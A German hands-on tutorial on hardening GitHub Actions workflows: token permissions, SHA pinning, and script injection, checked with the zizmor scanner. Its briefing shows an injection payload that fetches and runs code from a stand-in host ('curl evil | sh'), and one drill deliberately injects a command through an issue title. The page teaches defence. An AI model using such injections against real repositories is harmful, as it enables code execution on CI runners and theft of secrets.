Zum Inhalt springen
Trainingslager IT-Trainingslager

Tag 9: Workflows absichern

Ziel: Die drei häufigsten Schwachstellen in Workflows finden und beheben: zu viele Rechte für das GITHUB_TOKEN, Actions mit beweglichen Versionen und Script-Injection über fremden Text. Werkzeug: zizmor. · Dauer: ca. 75 min · Voraussetzung: Tag 8

Briefing

  • Rechte: Jeder Lauf bekommt ein GITHUB_TOKEN. Was es darf, legt permissions: fest. Ohne Angabe gelten die Vorgaben des Repositorys. Regel: oben contents: read, mehr nur im Job, der es braucht.
  • Pinning: uses: actions/checkout@v7 zeigt auf ein Git-Tag, und Tags lassen sich verschieben. Wer das Repository einer Action übernimmt, ändert, was dein Workflow ausführt. Ein Commit-SHA ist unveränderlich.
  • Injection: ${{ … }} wird eingesetzt, bevor die Shell den Befehl sieht. Steht darin Text von außen – Titel eines Issues, Name eines Branches –, wird er zu Code.
  • zizmor prüft Workflows statisch auf diese und weitere Probleme.
 Titel: a"; curl evil | sh; echo "
 run: echo "${{ github.event.issue.title }}"   ──►  echo "a"; curl evil | sh; echo ""
 env: TITEL: ${{ github.event.issue.title }}
 run: echo "$TITEL"                            ──►  echo "$TITEL"   (nur Text)

Drill 1: zizmor

mkdir -p ~/gha-lab/zizmor
cd ~/gha-lab/zizmor
gh release download v1.32.0 -R zizmorcore/zizmor \
  -p zizmor-x86_64-unknown-linux-gnu.tar.gz
tar xzf zizmor-x86_64-unknown-linux-gnu.tar.gz
mv zizmor ~/.local/bin/
zizmor --version

Erwartet:

zizmor 1.32.0
cd ~/gha-lab/notes-actions
zizmor -q --offline .github/workflows | tail -1

Erwartet (die Zahlen können abweichen):

68 findings (24 suppressed, 6 unsafe fixes): 0 informational, 5 low, 10 medium, 29 high
  • -q unterdrückt die Fortschrittsmeldungen, --offline prüft nur die Dateien und fragt nicht bei GitHub nach.
  • 24 Funde unterdrückt zizmor selbst, weil sie im Standardmodus zu unsicher sind.

Welche Arten von Funden?

zizmor -q --offline .github/workflows | grep -oE '^[a-z]+\[[a-z-]+\]' | sort | uniq -c

Erwartet:

      1 error[cache-poisoning]
      2 error[excessive-permissions]
     26 error[unpinned-uses]
      5 help[artipacked]
     10 warning[excessive-permissions]
  • grep -oE holt aus jeder Zeile nur Art und Name des Fundes, sort | uniq -c zählt gleiche Zeilen.
  • unpinned-uses: Actions ohne Commit-SHA.
  • excessive-permissions: Workflows ohne permissions: oder mit zu viel davon.
  • artipacked: actions/checkout lässt den Token in .git/config liegen – ein späterer Step, der den Arbeitsordner als Artefakt hochlädt, verrät ihn.
  • cache-poisoning: Ein Release-Workflow nutzt einen Cache, den jeder Pull-Request befüllen kann.

Fortschritt speichern? Kostenlos registrieren

Drill 2: Script-Injection

Ein Workflow, der neue Issues begrüßt – mit einem typischen Fehler. (Kein Doppelpunkt hinter „Issue“: : mitten in einem YAML-Wert ohne Anführungszeichen macht die Datei ungültig, und GitHub ignoriert den Workflow dann wortlos.)

cat > .github/workflows/issue.yml <<'EOF'
name: issue
on:
  issues:
    types: [opened]

permissions:
  contents: read

jobs:
  hallo:
    runs-on: ubuntu-24.04
    steps:
      - run: echo "Neues Issue ${{ github.event.issue.title }}"
EOF
git add .github
git commit -qm "issue: begrüßen"
git push -q

Jetzt ein Issue mit einem ungewöhnlichen Titel:

gh issue create --title 'Test"; echo "INJIZIERT als $(whoami)' --body 'Test'

Erwartet:

https://github.com/<du>/notes-actions/issues/12

Mit der ID aus gh run list --workflow issue.yml --limit 1, sobald der Lauf fertig ist:

gh run view <ID> --log | grep -E 'Z (Neues|INJIZIERT)'

Erwartet (Zeitstempel gekürzt):

hallo   Run echo "Neues Issue Test"; echo "INJIZIERT als $(whoami)" ... Neues Issue Test
hallo   Run echo "Neues Issue Test"; echo "INJIZIERT als $(whoami)" ... INJIZIERT als ru...

Der Titel wurde zu einem zweiten Befehl, und $(whoami) lief auf dem Runner. Statt echo könnte dort curl … | sh stehen – mit Zugriff auf alle Secrets und das GITHUB_TOKEN des Jobs. Das Issue anlegen darf jeder, der das öffentliche Repository sieht.

zizmor kennt das Muster:

zizmor -q --offline .github/workflows/issue.yml | head -3

Erwartet:

error[template-injection]: code injection via template expansion
  --> .github/workflows/issue.yml:13:36
   |

Die Lösung: Der Wert kommt über env: als Umgebungsvariable. Die Shell setzt sie ein, behandelt sie aber nur als Text:

cat > .github/workflows/issue.yml <<'EOF'
name: issue
on:
  issues:
    types: [opened]

permissions:
  contents: read

jobs:
  hallo:
    runs-on: ubuntu-24.04
    steps:
      - env:
          TITEL: ${{ github.event.issue.title }}
        run: echo "Neues Issue $TITEL"
EOF
git commit -qam "issue: Titel nur über env"
git push -q
gh issue create --title 'Test2"; echo "INJIZIERT als $(whoami)' --body 'Test'

Mit der neuen ID, sobald der Lauf fertig ist:

gh run view <ID> --log | grep -E 'Z (Neues|INJIZIERT)'

Erwartet:

hallo   Run echo "Neues Issue $TITEL"   ... Neues Issue Test2"; echo "INJIZIERT als $(who...

Eine Zeile, der Titel als Text. Aufräumen:

gh issue close 12
gh issue close 13

Fortschritt speichern? Kostenlos registrieren

Drill 3: Rechte begrenzen

Die Vorgabe des Repositorys:

gh api repos/{owner}/{repo}/actions/permissions/workflow

Erwartet:

{"default_workflow_permissions":"read","can_approve_pull_request_reviews":false}

Schon gut – neue Repositorys geben dem Token nur Leserechte. Trotzdem gehört permissions: in jeden Workflow: Die Vorgabe kann jemand ändern, ältere Repositorys und viele Organisationen stehen noch auf write, und wer die Datei liest, sieht sofort, was der Workflow darf.

Für ci.yml, hallo.yml, vm.yml und gpu.yml genügt Lesen. Zwei Zeilen pro Datei, direkt nach name:, mit sed:

sed -i '1a permissions:\n  contents: read' .github/workflows/ci.yml
sed -i '1a permissions:\n  contents: read' .github/workflows/hallo.yml
sed -i '1a permissions:\n  contents: read' .github/workflows/vm.yml
sed -i '1a permissions:\n  contents: read' .github/workflows/gpu.yml
head -4 .github/workflows/ci.yml

Erwartet:

name: ci
permissions:
  contents: read
concurrency:

1a heißt: nach Zeile 1 anhängen, \n trennt die zwei neuen Zeilen.

zizmor -q --offline .github/workflows | grep -c '^[a-z]*\[excessive-permissions\]'

Erwartet:

2

Übrig sind zwei Funde in image.yml und release.yml: Dort stehen Schreibrechte (packages: write bzw. contents: write) auf oberster Ebene und gelten damit für alle Jobs. Besser stehen sie nur im Job, der sie braucht. Die Challenge räumt release.yml auf; image.yml geht genauso.

Fortschritt speichern? Kostenlos registrieren

Drill 4: Actions pinnen

Zu welchem Commit gehört actions/[email protected]?

gh api repos/actions/checkout/commits/v7.0.1 --jq .sha

Erwartet:

3d3c42e5aac5ba805825da76410c181273ba90b1

So pinnst du eine Action: SHA statt Tag, die Version als Kommentar dahinter. ci.yml mit allen Actions gepinnt – und persist-credentials: false gegen artipacked:

cat > .github/workflows/ci.yml <<'EOF'
name: ci
permissions:
  contents: read
concurrency:
  group: ci-${{ github.ref }}
  cancel-in-progress: true

on:
  push:
    branches: [main]
    paths-ignore: ['**.md']
  pull_request:

jobs:
  test:
    strategy:
      matrix:
        os: [ubuntu-24.04, ubuntu-24.04-arm]
    runs-on: ${{ matrix.os }}
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
        with:
          go-version-file: go.mod
      - name: Statische Prüfung
        run: go vet ./...
      - run: go test ./...
      - name: PR-Info
        if: github.event_name == 'pull_request'
        env:
          VON: ${{ github.head_ref }}
          NACH: ${{ github.base_ref }}
        run: echo "PR $VON -> $NACH" | tee -a "$GITHUB_STEP_SUMMARY"

  build:
    needs: test
    strategy:
      matrix:
        goarch: [amd64, arm64]
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
        with:
          go-version-file: go.mod
      - name: Bauen
        env:
          CGO_ENABLED: "0"
          GOOS: linux
          GOARCH: ${{ matrix.goarch }}
        run: >-
          go build -trimpath -ldflags "-s -w -X main.version=${GITHUB_SHA::7}"
          -o notes-api-linux-$GOARCH .
      - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
        with:
          name: notes-api-linux-${{ matrix.goarch }}
          path: notes-api-linux-${{ matrix.goarch }}
          retention-days: 7

  smoke:
    needs: build
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
        with:
          name: notes-api-linux-amd64
      - name: Starten und prüfen
        run: |
          chmod +x notes-api-linux-amd64
          NOTES_API_KEY=lab-api-key-123 PORT=8090 ./notes-api-linux-amd64 &
          sleep 1
          curl -fsS localhost:8090/healthz

  lint:
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
        with:
          go-version-file: go.mod
      - uses: golangci/golangci-lint-action@ba0d7d2ec06a0ea1cb5fa41b2e4a3ab91d21278a # v9.3.0
        with:
          version: v2.15.0
EOF
zizmor -q --offline .github/workflows/ci.yml

Erwartet:

No findings to report. Good job! (4 suppressed)
  • Zeilen mit SHA werden lang. Der Kommentar gehört trotzdem in dieselbe Zeile.
  • Der Kommentar # v7.0.1 ist für Menschen – und für Dependabot und Renovate, die daran erkennen, welche Version gemeint ist, und gepinnte SHAs aktualisieren (Tag 10).
  • persist-credentials: false: checkout legt den Token nicht in .git/config ab. Wer danach git push braucht, setzt es bewusst wieder auf true.
git commit -qam "ci: Actions gepinnt, keine Zugangsdaten im Checkout"
git push -q

Fortschritt speichern? Kostenlos registrieren

Kontrollpunkt

zizmor -q --offline .github/workflows/ci.yml .github/workflows/issue.yml | tail -1

Erwartet:

No findings to report. Good job! (4 suppressed)
grep -c '@[0-9a-f]\{40\} # v' .github/workflows/ci.yml

Erwartet:

9
gh run list --workflow ci.yml --limit 1 --json conclusion --jq '.[0].conclusion'

Erwartet (sobald der Lauf fertig ist):

success

Challenge

Bring release.yml auf null Funde: Actions pinnen, contents: write nur für den Job release, oben contents: read, kein Cache im Release-Build.

Hinweis: permissions: geht auch pro Job. setup-go hat den Schalter cache: false. Die SHAs holst du wie in Drill 4.

Lösung

cat > .github/workflows/release.yml <<'EOF'
name: release
on:
  push:
    tags: ['v*']

permissions:
  contents: read

jobs:
  build:
    strategy:
      matrix:
        goarch: [amd64, arm64]
    runs-on: ubuntu-24.04
    steps:
      - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          persist-credentials: false
      - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
        with:
          go-version-file: go.mod
          cache: false
      - name: Bauen
        env:
          CGO_ENABLED: "0"
          GOOS: linux
          GOARCH: ${{ matrix.goarch }}
        run: >-
          go build -trimpath -ldflags "-s -w -X main.version=${GITHUB_REF_NAME#v}"
          -o notes-api-linux-$GOARCH .
      - uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
        with:
          name: notes-api-linux-${{ matrix.goarch }}
          path: notes-api-linux-${{ matrix.goarch }}

  release:
    needs: build
    runs-on: ubuntu-24.04
    permissions:
      contents: write
    steps:
      - uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
        with:
          pattern: notes-api-linux-*
          merge-multiple: true
      - name: Prüfsummen
        run: sha256sum notes-api-linux-* > SHA256SUMS
      - name: Release anlegen
        env:
          GH_TOKEN: ${{ github.token }}
          VORAB: ${{ contains(github.ref_name, '-') }}
        run: >-
          gh release create "$GITHUB_REF_NAME" notes-api-linux-* SHA256SUMS
          --repo "$GITHUB_REPOSITORY" --generate-notes --prerelease="$VORAB"
EOF
zizmor -q --offline .github/workflows/release.yml

Erwartet:

No findings to report. Good job! (4 suppressed)
git commit -qam "release: gepinnt, Rechte pro Job, ohne Cache"
git push -q

cache: false im Release: Ein Cache, den ein Pull-Request befüllen kann, hätte sonst Einfluss auf die Binärdateien, die du veröffentlichst.

Fortschritt speichern? Kostenlos registrieren

Enterprise-Notiz

  • pull_request_target läuft im Kontext des Ziel-Repositorys – mit Secrets und Schreibrechten, auch für Pull-Requests aus Forks. Wer dort den Code des Pull-Requests auscheckt und ausführt, gibt Fremden beides. zizmor meldet das als dangerous-triggers.
  • Richtlinien für Actions: Organisationen erlauben unter Settings → Actions → General nur bestimmte Actions, etwa die von GitHub, verifizierte Ersteller und eine Liste – und können SHA-Pinning erzwingen.
  • zizmor in CI: zizmor --format sarif plus upload-sarif legt die Funde unter Security ab, wie Trivy an Tag 8. Neue Workflows mit Lücken fallen dann im Pull-Request auf.
  • Secrets im Log: GitHub maskiert bekannte Secrets mit ***, aber nicht, was daraus abgeleitet wird (z. B. Base64). Abgeleitete Werte mit ::add-mask:: maskieren.